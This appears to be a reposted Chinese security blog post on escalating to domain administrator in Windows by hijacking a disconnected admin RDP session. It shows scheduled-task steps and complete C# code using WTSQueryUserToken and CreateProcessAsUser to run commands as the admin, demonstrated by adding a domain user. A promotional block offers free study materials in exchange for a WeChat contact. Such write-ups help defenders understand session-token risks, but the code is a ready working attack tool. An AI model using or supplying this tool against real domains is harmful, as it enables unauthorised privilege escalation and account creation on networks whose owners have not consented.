使用断开的域管理员RDP会话提权

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后，退出3389时没有退出账号而是直接关掉了远程桌面，那么会产生哪些风险呢？有些读者第一个想到的肯定就是抓密码，但是如果抓不到明文密码又或者无法pth呢？
通过计划任务完成域内提权

首先模仿域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面：

[img=720,48.066759388038946]https://www.yijinglab.com/headImg.action?news=76d35e8e-69b6-49b3-8e08-b4827f31535a.jpg[/img]

然后攻击者可以通过如下方式进行域内提权，已添加域内用户为例，流程为新建计划任务-选择域管用户-执行命令：
选择搜刮用户位置为域内：

[img=720,634.7855917667239]https://www.yijinglab.com/headImg.action?news=17a390c0-cfc5-4b34-bdb5-b284a3c4fa0c.jpg[/img]

选择登录进来的域管用户：

[img=720,439.0243902439024]https://www.yijinglab.com/headImg.action?news=441dad7c-26ad-48b5-9a29-a1ac76763107.jpg[/img]

设置启动的命令：

[img=720,479.232]https://www.yijinglab.com/headImg.action?news=c700928e-6071-4562-bc20-4638d94c0027.jpg[/img]

然后运行计划任务，可以看到成功添加了域内用户：

[img=720,34.63556851311953]https://www.yijinglab.com/headImg.action?news=50a3c330-a7e3-4c4a-877b-b742c92711e2.jpg[/img]

有些读者可能会问了，那是不是选择任意域内用户都行，实际上是不行的，会提示用户未登录：

[img=720,301.34831460674155]https://www.yijinglab.com/headImg.action?news=c202f83f-fbe3-4cdd-b492-00c362355009.jpg[/img]

【----资助网安学习，以下所有学习资料免费领！加vx：dctintin，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC毛病分析陈诉
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂口试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
原理分析

原理实际上也很简单，就是获取历程的token，然后使用CreateProcessAsUser api完成模仿用户token进行历程创建即可。下面提供完整代码,如下代码核心是使用WTSQueryUserToken获取rdp session id token，然后使用CreateProcessAsUser完成历程的创建：

1. using System;
2. using System.Runtime.InteropServices;
3. using System.ComponentModel;
4. using System.Security.Principal;
5. ​
6. class Program
7. {
8.    [DllImport("wtsapi32.dll", SetLastError = true)]
9.    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
10. ​
11.    [DllImport("kernel32.dll", SetLastError = true)]
12.    static extern bool CloseHandle(IntPtr hObject);
13. ​
14.    [DllImport("userenv.dll", SetLastError = true)]
15.    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
16. ​
17.    [DllImport("userenv.dll", SetLastError = true)]
18.    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
19. ​
20.    [DllImport("advapi32.dll", SetLastError = true)]
21.    static extern bool CreateProcessAsUser(
22.        IntPtr hToken,
23.        string lpApplicationName,
24.        string lpCommandLine,
25.        IntPtr lpProcessAttributes,
26.        IntPtr lpThreadAttributes,
27.        bool bInheritHandles,
28.        uint dwCreationFlags,
29.        IntPtr lpEnvironment,
30.        string lpCurrentDirectory,
31.        ref STARTUPINFO lpStartupInfo,
32.        out PROCESS_INFORMATION lpProcessInformation);
33. ​
34.    [StructLayout(LayoutKind.Sequential)]
35.    struct STARTUPINFO
36.    {
37.        public int cb;
38.        public string lpReserved;
39.        public string lpDesktop;
40.        public string lpTitle;
41.        public uint dwX;
42.        public uint dwY;
43.        public uint dwXSize;
44.        public uint dwYSize;
45.        public uint dwXCountChars;
46.        public uint dwYCountChars;
47.        public uint dwFillAttribute;
48.        public uint dwFlags;
49.        public short wShowWindow;
50.        public short cbReserved2;
51.        public IntPtr lpReserved2;
52.        public IntPtr hStdInput;
53.        public IntPtr hStdOutput;
54.        public IntPtr hStdError;
55.    }
56. ​
57.    [StructLayout(LayoutKind.Sequential)]
58.    struct PROCESS_INFORMATION
59.    {
60.        public IntPtr hProcess;
61.        public IntPtr hThread;
62.        public uint dwProcessId;
63.        public uint dwThreadId;
64.    }
65. ​
66.    static void Main(string[] args)
67.    {
68.        if (args.Length < 2)
69.        {
70.            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
71.            return;
72.        }
73. ​
74.        int sessionId;
75.        if (!int.TryParse(args[0], out sessionId))
76.        {
77.            Console.WriteLine("Invalid session ID");
78.            return;
79.        }
80. ​
81.        string command = args[1];
82.        IntPtr userToken = IntPtr.Zero;
83.        IntPtr envBlock = IntPtr.Zero;
84. ​
85.        try
86.        {
87.            // Get user token for the specified session
88.            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
89.            if (!tokenResult)
90.            {
91.                int error = Marshal.GetLastWin32Error();
92.                throw new Win32Exception(error);
93.            }
94. ​
95.            // Create environment block
96.            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
97.            if (!envResult)
98.            {
99.                int error = Marshal.GetLastWin32Error();
100.                throw new Win32Exception(error);
101.            }
102. ​
103.            // Prepare startup info
104.            STARTUPINFO startupInfo = new STARTUPINFO();
105.            startupInfo.cb = Marshal.SizeOf(startupInfo);
106.            startupInfo.lpDesktop = "winsta0\\default";
107. ​
108.            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
109. ​
110.            // Create process as user
111.            bool processResult = CreateProcessAsUser(
112.                userToken,
113.                null,
114.                command,
115.                IntPtr.Zero,
116.                IntPtr.Zero,
117.                false,
118.                0x00000400, // CREATE_UNICODE_ENVIRONMENT
119.                envBlock,
120.                null,
121.                ref startupInfo,
122.                out processInfo);
123. ​
124.            if (!processResult)
125.            {
126.                int error = Marshal.GetLastWin32Error();
127.                throw new Win32Exception(error);
128.            }
129. ​
130.            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
131. ​
132.            // Clean up process handles
133.            CloseHandle(processInfo.hProcess);
134.            CloseHandle(processInfo.hThread);
135.        }
136.        catch (Exception ex)
137.        {
138.            Console.WriteLine("Error: {0}", ex.Message);
139.        }
140.        finally
141.        {
142.            // Clean up resources
143.            if (envBlock != IntPtr.Zero)
144.            {
145.                DestroyEnvironmentBlock(envBlock);
146.            }
147.            if (userToken != IntPtr.Zero)
148.            {
149.                CloseHandle(userToken);
150.            }
151.        }
152.    }
153. }

复制代码

编译后进行尝试：

[img=720,30.55045871559633]https://www.yijinglab.com/headImg.action?news=66e6d3e2-60f0-469a-bde8-fd2ee33c8d91.jpg[/img]

[img=720,43.40425531914894]https://www.yijinglab.com/headImg.action?news=ba794b48-7854-4e94-9bf1-0047804c61ac.jpg[/img]

成功完成了token偷取并添加了域内用户。
总结

本文通过演示偷取RDP Session Token完成域内提权的目的。
更多网安技能的在线实操练习，请点击这里>>
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。